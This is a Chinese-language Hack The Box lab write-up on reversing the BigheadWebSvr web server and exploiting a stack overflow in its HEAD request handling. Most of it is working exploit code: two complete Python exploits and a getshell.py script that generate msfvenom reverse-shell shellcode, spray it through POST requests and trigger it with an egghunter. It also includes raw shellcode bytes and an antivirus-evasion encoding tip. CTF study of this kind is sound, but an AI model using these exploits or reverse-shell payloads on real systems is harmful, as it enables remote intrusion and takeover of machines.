 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bigheadida2.jpg)

在本例中，只有一次，所以点击OK进入代码中:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bigheadida3.jpg)

向上滚动到函数的顶部，查看它的名称是由IDA指定的_ConnectionHandler@4。

#### step2

或者，当IDA加载时，它从main启动。知道这是一个网络服务器。所以它很可能会创建一个套接字，将其绑定到post，监听，等待连接，通过分叉(在Windows中是启动一个线程)处理那些连接。看到这个函数的整体流程是这样的:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bigheadida4.jpg)

甚至不需要查看程序集，就可以猜测发生了什么。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bigheadida5.jpg)

如果滚动代码本身，看看被调用的函数，发现基本上是对的。还注意到，在处理了arg之后，它会打印一条带有服务器版本的消息，并警告该软件是存在漏洞的:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bigheadida6.jpg)

如果跳到上面的绿色部分，将看到处理连接的代码和创建一个线程来处理连接的调用:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bigheadida7.jpg)

线程将偏移量传递给_ConnectionHander@4作为要运行的代码。

#### step3

也有可能，只是看看函数窗口，看到名称IDA给出的函数，并猜测这是处理连接:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bigheadida8.jpg)

 - 处理程序逻辑

现在有了处理程序逻辑，尝试理解它。就像使用main一样，从函数的形状开始，看看能不能猜出发生了什么:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bigheadida9.jpg)

立即看到一堆比较(if语句)，末尾有一堆块。猜所有这些if语句都是基于成功/失败或recv，然后传入HTTP请求的不同属性(GET vs POST，文件存在，等等)进行分支。

从顶部开始，可以快速浏览并获得逻辑。并不是试图去理解每一个配置，而只是寻找一个生成的想法，即什么是分支，什么是可以排除的有趣的东西。以下是在上面看到的流的注释版本:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bigheadida10.jpg)

 - (a)设置两个缓冲区并将其设置为0。如果某个错误代码为-1，则打印(b)处的错误并返回(c)处的错误。
 - (d)检查最后一个memset返回ok，否则返回(c)。
 - (e)在第一个缓冲区中recv到0x20c(524)字节，并检查返回代码。如果0或错误(负)，跳转到(f)。在(f)，如果recv返回0，转到(g)，打印“连接关闭”，关闭套接字，并转到(c)返回。否则，转到(h)，打印接收错误值，关闭套接字，然后转到(c)返回。
 - 检查在(i)处接收的数据的长度。如果它小于0xdb(219)字节，转到(j)，否则转到(k)。
 - 在(j)处，检查请求的前五个字节是否为“HEAD”。如果是这样，请进入用绿色标记的部分。否则，转到(k)。
 - 在(k)，现在处理所有的请求，除了一个低于219字节的头，检查请求以6个字节开始，“GET /”(在“/”后面有空格)。如果是这样，转到(l)，发送带有拿着饮料的人的图像的响应，清理干净，然后返回到(c)。否则，转到(m)。
 - 在(m)处，检查请求是否以“GET /coffee”开始。如果匹配，将418响应与teapot gif发送到(n)，然后清理并返回到(c)。这就解释了为什么dirsearch为/coffee、/coffeecat、/coffeebreak和/coffeecup返回相同的结果。否则，转到(o)。
 - 在(o)处，检查申请是否以“POST /”开头。如果是这样，转到(p)和(l)完全一样，发送给那个带着饮料图像的人。否则，转到(q)并发送404消息，清除，并返回到(c)。

很快，就排除了上述流程中的任何风险。

 - 短head请求

其余的代码(上面绿色的部分)在HEAD请求长度小于219字节时调用。只是浏览一下，试图从更高的层面了解它在做什么:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bigheadida11.jpg)

 - 在(a)处，从原始初始化开始的第二个缓冲区的三个字节被设置为0。然后，创建一个新的12字节缓冲区。最后，初始化两个计数器(EBP-C和EPB-10)。把它们称为I和j I被设为6，而j为0。

 - 现在在(b)中，它是循环的顶部。进入请求的字节i字节将被加载，如果为空，循环将跳转到(e)。否则，继续跳转到(c)，其中i+1字节进入请求，如果为空，循环跳转到(e)。否则，继续跳转到(d)。

 - (d)有一堆事情:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bigheadida12.jpg)

因此，它将每两个字节从十六进制转换为一个字节值，并将其存储在堆的缓冲区中。然后它回到这个局部循环的顶部。

 - 这里有一个堆溢出，因为可以写远超过错误定位的12字节。检查这个循环完成后会发生什么，在(e)中。

 - 首先，它调用_Function4，将新的未十六进制数组作为参数传递。然后它向guy和drink图像发送相同的200 OK，并向控制台打印一些消息。然后转到(f)，检查发送的返回代码。如果-1(错误)，它转到(g)，打印更多错误，清理并返回。否则，它将返回循环的顶部并尝试读取更多内容。

快速浏览Function4:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bigheadida13.jpg)

基本上是从I控制的缓冲区执行一个不安全的strcpy到堆栈上的一个地址。这是一个覆盖函数返回指针溢出的明显例子，但现在可以避免堆溢出。

#### Final Exploit 1 (推荐，较稳定，回弹shell时间较短):

``` bash
#!/usr/bin/env python

import os
import subprocess
import sys

from pwn import *
from time import sleep

context(terminal=['tmux', 'new-window'])
context(os='windows', arch="i386")


def clean_and_exit(msg, files):
    print(msg)
    for f in files:
        try:
            os.remove(f)
        except:
            pass
    sys.exit()


if len(sys.argv) != 5:
    clean_and_exit("%s [target] [target port] [callback ip] [callback port]" % (sys.argv[0]), [])

target = sys.argv[1]
port = sys.argv[2]
cb_ip = sys.argv[3]
cb_port = sys.argv[4]

# Generate Shellcode 
msfvenom_string = 'msfvenom -p windows/shell_reverse_tcp LHOST=%s LPORT=%s EXIT_FUNC=THREAD -a x86 --platform windows -b "\\x00\\x0a\\x0d" -f python -v shellcode -o sc.py' % (cb_ip, cb_port)
print("[*] Generating shellcode:\n    %s" % msfvenom_string)
p = subprocess.Popen(msfvenom_string.split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = p.communicate()

try:
    if "Error" in err:
        raise Exception("[-] Unable to generate shellcode\n    %s" % err)
    from sc import shellcode
except (NameError, Exception) as e:
    clean_and_exit(e.message, ['sc.py', 'sc.pyc'])

print "[+] Shellcode generated successfully"
os.remove('sc.py')
os.remove('sc.pyc')

# !mona egg -t
egg = 'luci'
egghunter = "6681caff0f42526a0258cd2e3c055a74efb8" + egg.encode('hex') + "8bfaaf75eaaf75e7ffe7"

nops = "\x90"*16
spray = egg + egg + nops + shellcode
post = 'POST / HTTP/1.1\r\nHost: dev.bighead.htb\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {}\r\n\r\n'.format(len(spray))
spray_payload = post + spray

head = "HEAD /"
junk = "1" * (78-len(head))
jmp_esp = "f0125062" #p32(0x625012f0)
host = " HTTP/1.1\r\nHost: dev.bighead.htb\r\n\r\n"
exec_payload = head + junk + jmp_esp + egghunter + host

print("[*] Sending payload 16 times")
for i in range(16):
    p = remote(target, port)
    #print(spray_payload)
    p.sendline(spray_payload)
    p.recv()
    p.close()
    sleep(0.1)

print("[+] Payload sent.\n[*] Sleeping 1 second.")
sleep(1)

print("[*] Sending overflow + egghunter.")
print("[*] Expect callback in 0-3 minutes to %s:%s." % (cb_ip, cb_port))
p = remote(target, port)
p.sendline(exec_payload)
sleep(1)
p.recv()
p.close()
```

 - 逐行代码解释:

``` bash
第15-48行是关于生成shellcode和清理shellcode的
第50-73行设置将发送的web请求
第65-72行发送带有shell的POST请求16次
第77-83行发送带egg hunter payload的head请求
```

#### Final Exploit 2 (回弹shell时间较长):

``` bash
#!/usr/bin/python

import sys, subprocess, requests
from requests import Request, Session

banner = (
          "[+] Useage: %s <rhost> <rport> <lhost> <lport>"%sys.argv[0]
         )
if __name__ == '__main__':
    try:
      rhost = sys.argv[1]
      rport = sys.argv[2]
      lhost = sys.argv[3]
      lport = sys.argv[4]
    except IndexError:
      print(banner)
      sys.exit(-1)

urlpath = ("http://" + rhost + ":" + str(rport) + "/")
hdrs    = {'User-Agent': 'lUc1f3r11'}
proxy   = {'http': 'http://127.0.0.1:8080'}
lstner  = ("nc -s " + lhost + " -nvlp " + str(lport))

mksh  = (# Auto Generate Reverse Shell Payload Using msfvenom
         "msfvenom -p windows/shell_reverse_tcp" +
         " -e x86/shikata_ga_nai" +
         " EXITFUNC=thread" +
         " -v RevShell" +
         " LHOST=" + lhost +
         " LPORT=" + lport +
         " -f python" +
         " -a x86" +
         " -o RevPld.py"
        )

try:
    print("[+] Attempting To Generate Reverse Shell Payload ...")
    vnm = subprocess.Popen(mksh.split(), stdout=subprocess.PIPE)
    vnm.wait()
    print("[+] Reverse Shell Payload Generated Successfully...")
except:    
    print("[!] ERROR: Couldn't Generate Payload")
    sys.exit(-1)

from RevPld import RevShell

shl  = (# Prepends a string of 3mg33mg3
        ("3mg3" * 2) + 
        # Insert msfvenom revshell payload 
        RevShell       
       ) 

egh  = (# EggHunter Shellcode
        "6681CAFF0F42526A"  # 32 byte EggHunter, with egg of '3mg3'
        "0258CD2E3C055A74"  # This will scan through mem address space 
        "EFB8336D67338BFA"  # and try to match the string "3mg33mg3", 
        "AF75EAAF75E7FFE7"  # then execute the shellcode that follows it.
       )

buf  = (# Place the EggHunter at the start of the buffer.
        egh +
        # EIP Overwrite Buffer
        ("A" * ((72) - len(egh))) +  
        # 64552F19 JMP EAX 
        # From Module Name=C:\MinGW\bin\libmingwex-0.dll
        "192F5564" 
       )        

sploit = (urlpath + buf)

print("[+] Sending evil HTTP request to BigHeadWebSvr 1.0")

try: # Prepare POST content body so it won't URL Encode the shellcode data.
  s = Session()
  payload={'5h377':shl}
  r = Request('POST', urlpath, data=payload, headers=hdrs)
  prepped = r.prepare()
  prepped.body = shl
  del prepped.headers['Content-Type']
  # Send The Egg RevShell Payload as a POST Request data  
  resp = s.send(prepped, proxies=proxy, timeout=0.01)
  print(resp.status_code)
except:
  print("[+] Shell Payload Sent...")

try:
    # Send the HEAD METHOD BOF Exploit
    r = requests.head(sploit, headers=hdrs, timeout=0.01, proxies=proxy)
except:
  print("[+] Exploit Sent!")

try:
    # Start a netcat listener and wait for the incoming connection
    print("[+] Listening for reverse shell")
    ncl = subprocess.Popen(lstner, shell=True)
    ncl.poll()
    ncl.wait()
except:    
    print("\r[!] Shell Terminated!")
    exit(0)
```

此exploit生成的shellcode使用了msf的 x86/shikata_ga_nai 编码模块有一定的免杀效果。
<!-- kb:end hack-the-box-bigheadwebsvr-2 -->

</details>

<a id="case-hack-the-box-bigheadwebsvr"></a>

## 小缓冲区与 Egghunter 布局

Immunity Debugger 和 mona 确定偏移及跳转地址，有限空间由 Egghunter 搜索另一请求中的 shellcode。原文的请求拆分和重复发送策略保留。

<p class="kb-provenance">来源 hack-the-box-bigheadwebsvr · 原记录 2020-12-26 · 31 个代码块 · 9 处图片引用</p>

<details class="kb-evidence" id="record-hack-the-box-bigheadwebsvr">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start hack-the-box-bigheadwebsvr -->

 - 本文专门记录hack the box --- bighead机器的BigheadWebSvr逆向部分，故前面的部分省略，part1 主要使用的工具是immunity debugger和mona插件，下一篇part2主要使用IDA来分析程序。



#### step1

把zip压缩文件从github上下载下来之后，john跑hash出来密码，然后解压出来，运行。

 - <font color="red">运行BigheadWebSvr.exe出现找不到libmingwex-0.dll，直接网上google搜索下载libmingwex-0.dll即可。。。</font>

使用下面命令找出程序是开放在8008端口上的

``` bash
C:\Users\Administrator>netstat -ano
TCP    0.0.0.0:8008           0.0.0.0:0              LISTENING       23076
```

使用immunity debugger打开BigheadWebSvr.exe，然后点击运行，然后使用burp抓包，然后想办法构造poc使程序崩溃，如下图,EIP寄存器已被AAAAAAAA所填满:

``` bash
curl --head http://172.20.10.7:8008/$(python -c 'print(("A"*100))')
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bigheadwebsvr.jpg)

尝试发送一个更大的请求，服务器没有崩溃，有一个小问题，因为被限制在一个特定的大小，没有足够的空间来存储shellcode，这就是为什么需要使用egghunting。有很多关于win32 egghenting的很棒的教程，所以说明一个概念什么是egghunting，以防不清楚。当没有足够的堆栈空间来保存shellcode时，发送一个非常小的字符串，称为egghunter，而不是发送和执行shellcode。当egghunter被执行时，它会在整个内存中搜索一个egg。当它碰到egg时，它会执行它后面的代码(shellcode)。egg是一个4字节的字符串，例如luci，该egg被翻倍并添加到shellcode之前，如下所示:luciluci + shellcode。在skape的论文[安全搜索进程虚拟地址空间](http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf)中对此做了很好的解释。也有很多实用教程只是搜索win32 egghunting。

现在回到易受攻击的服务器，首先需要知道的是偏移量。使用[mona插件](https://github.com/corelan/mona), [插件文档使用说明](https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/)。

 - 设置mona日志输出路径

``` bash
!mona config -set workingfolder D:\1.pentesttool\mona-master\logs\%p
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bigheadwebsvr1.jpg)

为了找到偏移量需要创建一个识别模板，创建100个字符的识别模板，这和使用metasploit的pattern_create.rb创建识别模板的方法是一样的

``` bash
!mona pc 100
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bigheadwebsvr2.jpg)

会在之前设置的:

D:\1.pentesttool\mona-master\logs\BigheadWebSvr

目录输出一个pattern.txt文件，复制里面的ASCII值:

``` bash
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
```

然后发送下面请求:

``` bash
curl --head http://172.20.10.7:8008/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bigheadwebsvr3.jpg)

这个EIP被ACC54AAC覆盖了，mona findmsp 会找出偏移量，但由于某些原因它无法找到它，所以手动找它。颠倒ACC54AAC，因为它是小端序，所以颠倒过来后是AC4AC5AC。定位它，然后使用python的函数len()找到AC4AC5AC之前的字符串长度:

``` bash
>>> len("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3")
72
```

偏移量是72, 现在来确认下. 发送72个A然后8个B:

``` bash
curl --head http://172.20.10.7:8008/$(python -c 'print(("A"*72)+("B"*8))')
```
 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bigheadwebsvr4.jpg)

成功的使用B覆盖了EIP

很好，现在控制了EIP，现在需要找到一个真正的地址来覆盖EIP。由于egghunter将位于堆栈上，需要找到一个jmp esp指令，使它成为egghunter的jmp并执行它。为了做到这一点，使用mona插件。

``` bash
!mona jmp -r ESP
```

它将在D:\1.pentesttool\mona-master\logs\BigheadWebSvr中创建另一个名为jmp.txt的文件。需要确保选择的地址能在目标机器上工作，因此使用了来自服务器本身的dll bHeadSvr.dll中的一个地址。选择第一个:

``` bash
0x625012f0 : jmp esp |  {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\Administrator\Desktop\hack the box°Ð»úÉøÍ¸\doing\machine\BigHead\BHWS_Backup\BHWS_Backup\bHeadSvr.dll)
0x625012fd : jmp esp |  {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\Administrator\Desktop\hack the box°Ð»úÉøÍ¸\doing\machine\BigHead\BHWS_Backup\BHWS_Backup\bHeadSvr.dll)
```

现在发送一个请求测试它，72个A和f0125062, 即625012f0的倒转:

``` bash
curl --head http://172.20.10.7:8008/$(python -c 'print(("A"*72)+("f0125062"))')
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bigheadwebsvr5.jpg)

运行的很正常。需要知道的最后一件事是如何发送shellcode。发送了一个POST请求，看看服务器如何处理它，只是一堆A:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bigheadwebsvr6.jpg)

然后搜索内存:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bigheadwebsvr7.jpg)

现在可以看到整个请求被打印在内存中，利用这个信息来写利用程序exploit

#### step2

首先import socket, binary和re模块

``` bash
import socket
import binascii
import re
```

然后开始定义变量，需要变量来保存host、port、egg、shellcode和egghunter。先生成shellcode:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/bighead]
└─# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.2 LPORT=1337 -b '\x00' -f python
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1712 bytes
buf =  b""
buf += b"\xda\xc6\xbf\xb6\xed\x8f\x35\xd9\x74\x24\xf4\x5a\x29"
buf += b"\xc9\xb1\x52\x83\xc2\x04\x31\x7a\x13\x03\xcc\xfe\x6d"
buf += b"\xc0\xcc\xe9\xf0\x2b\x2c\xea\x94\xa2\xc9\xdb\x94\xd1"
buf += b"\x9a\x4c\x25\x91\xce\x60\xce\xf7\xfa\xf3\xa2\xdf\x0d"
buf += b"\xb3\x09\x06\x20\x44\x21\x7a\x23\xc6\x38\xaf\x83\xf7"
buf += b"\xf2\xa2\xc2\x30\xee\x4f\x96\xe9\x64\xfd\x06\x9d\x31"
buf += b"\x3e\xad\xed\xd4\x46\x52\xa5\xd7\x67\xc5\xbd\x81\xa7"
buf += b"\xe4\x12\xba\xe1\xfe\x77\x87\xb8\x75\x43\x73\x3b\x5f"
buf += b"\x9d\x7c\x90\x9e\x11\x8f\xe8\xe7\x96\x70\x9f\x11\xe5"
buf += b"\x0d\x98\xe6\x97\xc9\x2d\xfc\x30\x99\x96\xd8\xc1\x4e"
buf += b"\x40\xab\xce\x3b\x06\xf3\xd2\xba\xcb\x88\xef\x37\xea"
buf += b"\x5e\x66\x03\xc9\x7a\x22\xd7\x70\xdb\x8e\xb6\x8d\x3b"
buf += b"\x71\x66\x28\x30\x9c\x73\x41\x1b\xc9\xb0\x68\xa3\x09"
buf += b"\xdf\xfb\xd0\x3b\x40\x50\x7e\x70\x09\x7e\x79\x77\x20"
buf += b"\xc6\x15\x86\xcb\x37\x3c\x4d\x9f\x67\x56\x64\xa0\xe3"
buf += b"\xa6\x89\x75\xa3\xf6\x25\x26\x04\xa6\x85\x96\xec\xac"
buf += b"\x09\xc8\x0d\xcf\xc3\x61\xa7\x2a\x84\x87\x32\x3a\x56"
buf += b"\xf0\x40\x42\x53\x39\xcc\xa4\x31\x29\x98\x7f\xae\xd0"
buf += b"\x81\x0b\x4f\x1c\x1c\x76\x4f\x96\x93\x87\x1e\x5f\xd9"
buf += b"\x9b\xf7\xaf\x94\xc1\x5e\xaf\x02\x6d\x3c\x22\xc9\x6d"
buf += b"\x4b\x5f\x46\x3a\x1c\x91\x9f\xae\xb0\x88\x09\xcc\x48"
buf += b"\x4c\x71\x54\x97\xad\x7c\x55\x5a\x89\x5a\x45\xa2\x12"
buf += b"\xe7\x31\x7a\x45\xb1\xef\x3c\x3f\x73\x59\x97\xec\xdd"
buf += b"\x0d\x6e\xdf\xdd\x4b\x6f\x0a\xa8\xb3\xde\xe3\xed\xcc"
buf += b"\xef\x63\xfa\xb5\x0d\x14\x05\x6c\x96\x24\x4c\x2c\xbf"
buf += b"\xac\x09\xa5\xfd\xb0\xa9\x10\xc1\xcc\x29\x90\xba\x2a"
buf += b"\x31\xd1\xbf\x77\xf5\x0a\xb2\xe8\x90\x2c\x61\x08\xb1"
```

-b '\x00' 代表坏字符。\x00 是一个空字节总是一个坏字符，因为它充当一个字符串结束符并终止执行，所以不需要在shellcode中使用它。把这个添加到漏洞中并删除所有的"\x"，因为从binascii中使用hexlify和unhexlify函数。这是shellcode，现在需要egghunter。使用这个[工具](https://github.com/ihack4falafel/OSCE/blob/master/Tools/EggHunter.py)来生成egghunter:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/bighead]
└─# python EggHunter.py luci
[+] Egg Hunter shellcode with egg of 'luci'..
Final Opcode    : 6681caff0f42526a0258cd2e3c055a74efb86963756c8bfaaf75eaaf75e7ffe7
Final Shellcode : '\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x69\x63\x75\x6c\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7'
```

但如果想改变egg，应该生成一个新的，看这工具是如何做的:

``` bash
FinalOpcode = "6681caff0f42526a0258cd2e3c055a74efb8" +M+ OpCode +W+ "8bfaaf75eaaf75e7ffe7"
```

可以很容易地将其添加到exploi本身中。

``` bash
host = '10.10.10.112'
port = 80
egg = 'luci'
```

host用于机器的ip, port用于端口，egg用于保存egg的值。之后是由msfvenom生成的buf变量(这是shellcode，你应该用自己的ip和监听端口生成一个新的):

``` bash
buf =  b""
buf += b"dac6bfb6ed8f35d97424f45a29"
buf += b"c9b15283c204317a1303ccfe6d"
buf += b"c0cce9f02b2cea94a2c9db94d1"
buf += b"9a4c2591ce60cef7faf3a2df0d"
buf += b"b309062044217a23c638af83f7"
buf += b"f2a2c230ee4f96e964fd069d31"
buf += b"3eadedd44652a5d767c5bd81a7"
buf += b"e412bae1fe7787b87543733b5f"
buf += b"9d7c909e118fe8e796709f11e5"
buf += b"0d98e697c92dfc309996d8c14e"
buf += b"40abce3b06f3d2bacb88ef37ea"
buf += b"5e6603c97a22d770db8eb68d3b"
buf += b"716628309c73411bc9b068a309"
buf += b"dffbd03b40507e70097e797720"
buf += b"c61586cb373c4d9f675664a0e3"
buf += b"a68975a3f6252604a68596ecac"
buf += b"09c80dcfc361a72a8487323a56"
buf += b"f040425339cca43129987faed0"
buf += b"810b4f1c1c764f9693871e5fd9"
buf += b"9bf7af94c15eaf026d3c22c96d"
buf += b"4b5f463a1c919faeb08809cc48"
buf += b"4c715497ad7c555a895a45a212"
buf += b"e7317a45b1ef3c3f735997ecdd"
buf += b"0d6edfdd4b6f0aa8b3dee3edcc"
buf += b"ef63fab50d14056c96244c2cbf"
buf += b"ac09a5fdb0a910c1cc2990ba2a"
buf += b"31d1bf77f50ab2e8902c6108b1"
```

创建一个变量来保存最终的shellcode(egg*2 + shellcode)和另一个变量为egghunter:

``` bash
shellcode = (egg * 2) + binascii.unhexlify(buf)
egghunter = "6681caff0f42526a0258cd2e3c055a74efb8" + binascii.hexlify(egg) + "8bfaaf75eaaf75e7ffe7"
```

 - 注意: 有一个名为N的变量，稍后会讲到，它与漏洞本身没有关系。
现在需要创建两个函数。第一种是通过POST请求发送shellcode，另一种是利用漏洞发送egghunter。

从定义函数开始:

``` bash
def send_shellcode(N,host,port,egg,shellcode):
```

然后，打开一个TCP流套接字到服务器和端口，将它保存在一个名为s的变量中:

``` bash
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0)
```

最后要做的是用shellcode发送POST请求:

``` bash
s.send("POST / HTTP/1.1\r\n")
s.send("Host: dev.bighead.htb\r\n")
s.send("Content-Length: %s\r\n"%len(shellcode))
s.send("\r\n")
s.send(shellcode+"\r\n")
s.send("\r\n")
```

然后关闭流: s.close()

将它添加到一个for循环中，以发送16次shellcode。这样做是因为想把shellcode放在不同的地方，这样egghunter就可以很容易地找到它。还在函数的开头添加了一个打印语句:

``` bash
print "\033[32m [*] Sending Shellcode"
```

\033[32m 是颜色，对攻击并不重要。并且在关闭流之前添加了一个print语句:

``` bash
print '\033[34m' + '[' + str(N) + '] ' + re.sub(r"\s"," ",s.recv(12))
```

re.sub(r"\s"," ",s.recv(12))将使用re(正则表达式操作)来打印服务器响应的第一行的前12个字符("HTTP/1.1" + " " + 状态码(3个字符) = 12)。

send_shellcode:

``` bash
def send_shellcode(N,host,port,egg,shellcode):
	print "\033[32m [*] Sending Shellcode"
	for i in range(0,16):
		s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0)
		s.connect((host,port))
		s.send("POST / HTTP/1.1\r\n")
		s.send("Host: dev.bighead.htb\r\n")
		s.send("Content-Length: %s\r\n"%len(shellcode))
		s.send("\r\n")
		s.send(shellcode+"\r\n")
		s.send("\r\n")
		print '\033[34m' + '[' + str(N) + '] ' + re.sub(r"\s"," ",s.recv(12))
		s.close()
		N += 1
	print "\033[32m [*] Done"
```

这是send_shellcode，写send_egghhunter。首先定义函数:

 - def send_egghunter(host,port,egghunter):

然后，打开一个TCP流套接字到host和port，并将它保存在一个名为s的变量中:

``` bash
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0)
```

然后将连接并发送HEAD请求:

``` bash
s.connect((host,port))
s.settimeout(None)
s.send("HEAD /" + ("A"*72) + "f0125062" + egghunter + " HTTP/1.1\r\n")
s.send("Host: dev.bighead.htb\r\n")
s.send("\r\n")
```

设置了settimeout(None)，因为服务器需要很多时间来响应这个请求(因为将改变代码流，所以服务器不会回应)，不希望流在egghunter成功执行之前被关闭。

 - s.send("HEAD /" + ("A"*72) + "f0125062" + egghunter + " HTTP/1.1\r\n")

这一行发送72个A然后f0125062(jmp esp(新EIP))然后egghunter。

 - send_egghunter:

``` bash
def send_egghunter(host,port,egghunter):
	print "\033[32m [*] Sending EggHunter"
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0)
	s.connect((host,port))
	s.settimeout(None)
	s.send("HEAD /" + ("A"*72) + "f0125062" + egghunter + " HTTP/1.1\r\n")
	s.send("Host: dev.bighead.htb\r\n")
	s.send("\r\n")
	print '\033[34m' + re.sub(r"\s"," ",s.recv(12))
	s.close()
	print "\033[32m [*] Done"
```

漏洞利用脚本已经准备好了，现在只需要调用以下函数:

``` bash
send_shellcode(N,host,port,egg,shellcode)
send_egghunter(host,port,egghunter)
```

最终exploit脚本:

 - getshell.py

``` bash
#!/usr/bin/python
import socket
import binascii
import re

host = '10.10.10.112'
port = 80
egg = 'luci'

N = 0

buf =  b""
buf += b"dac6bfb6ed8f35d97424f45a29"
buf += b"c9b15283c204317a1303ccfe6d"
buf += b"c0cce9f02b2cea94a2c9db94d1"
buf += b"9a4c2591ce60cef7faf3a2df0d"
buf += b"b309062044217a23c638af83f7"
buf += b"f2a2c230ee4f96e964fd069d31"
buf += b"3eadedd44652a5d767c5bd81a7"
buf += b"e412bae1fe7787b87543733b5f"
buf += b"9d7c909e118fe8e796709f11e5"
buf += b"0d98e697c92dfc309996d8c14e"
buf += b"40abce3b06f3d2bacb88ef37ea"
buf += b"5e6603c97a22d770db8eb68d3b"
buf += b"716628309c73411bc9b068a309"
buf += b"dffbd03b40507e70097e797720"
buf += b"c61586cb373c4d9f675664a0e3"
buf += b"a68975a3f6252604a68596ecac"
buf += b"09c80dcfc361a72a8487323a56"
buf += b"f040425339cca43129987faed0"
buf += b"810b4f1c1c764f9693871e5fd9"
buf += b"9bf7af94c15eaf026d3c22c96d"
buf += b"4b5f463a1c919faeb08809cc48"
buf += b"4c715497ad7c555a895a45a212"
buf += b"e7317a45b1ef3c3f735997ecdd"
buf += b"0d6edfdd4b6f0aa8b3dee3edcc"
buf += b"ef63fab50d14056c96244c2cbf"
buf += b"ac09a5fdb0a910c1cc2990ba2a"
buf += b"31d1bf77f50ab2e8902c6108b1"

shellcode = (egg * 2) + binascii.unhexlify(buf)
egghunter = "6681caff0f42526a0258cd2e3c055a74efb8" + binascii.hexlify(egg) + "8bfaaf75eaaf75e7ffe7"

def send_shellcode(N,host,port,egg,shellcode):
	print "\033[32m [*] Sending Shellcode"
	for i in range(0,16):
		s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0)
		s.connect((host,port))
		s.send("POST / HTTP/1.1\r\n")
		s.send("Host: dev.bighead.htb\r\n")
		s.send("Content-Length: %s\r\n"%len(shellcode))
		s.send("\r\n")
		s.send(shellcode+"\r\n")
		s.send("\r\n")
		print '\033[34m' + '[' + str(N) + '] ' + re.sub(r"\s"," ",s.recv(12))
		s.close()
		N += 1
	print "\033[32m [*] Done"

def send_egghunter(host,port,egghunter):
	print "\033[32m [*] Sending EggHunter"
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0)
	s.connect((host,port))
	s.settimeout(None)
	s.send("HEAD /" + ("A"*72) + "f0125062" + egghunter + " HTTP/1.1\r\n")
	s.send("Host: dev.bighead.htb\r\n")
	s.send("\r\n")
	print '\033[34m' + re.sub(r"\s"," ",s.recv(12))
	s.close()
	print "\033[32m [*] Done"

send_shellcode(N,host,port,egg,shellcode)
send_egghunter(host,port,egghunter)
```

现在运行脚本看效果:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/bighead]
└─# python getshell.py 
 [*] Sending Shellcode
[0] HTTP/1.1 200
[1] HTTP/1.1 200
[2] HTTP/1.1 200
[3] HTTP/1.1 200
[4] HTTP/1.1 200
[5] HTTP/1.1 200
[6] HTTP/1.1 200
[7] HTTP/1.1 200
[8] HTTP/1.1 200
[9] HTTP/1.1 200
[10] HTTP/1.1 200
[11] HTTP/1.1 200
[12] HTTP/1.1 200
[13] HTTP/1.1 200
[14] HTTP/1.1 200
[15] HTTP/1.1 200
 [*] Done
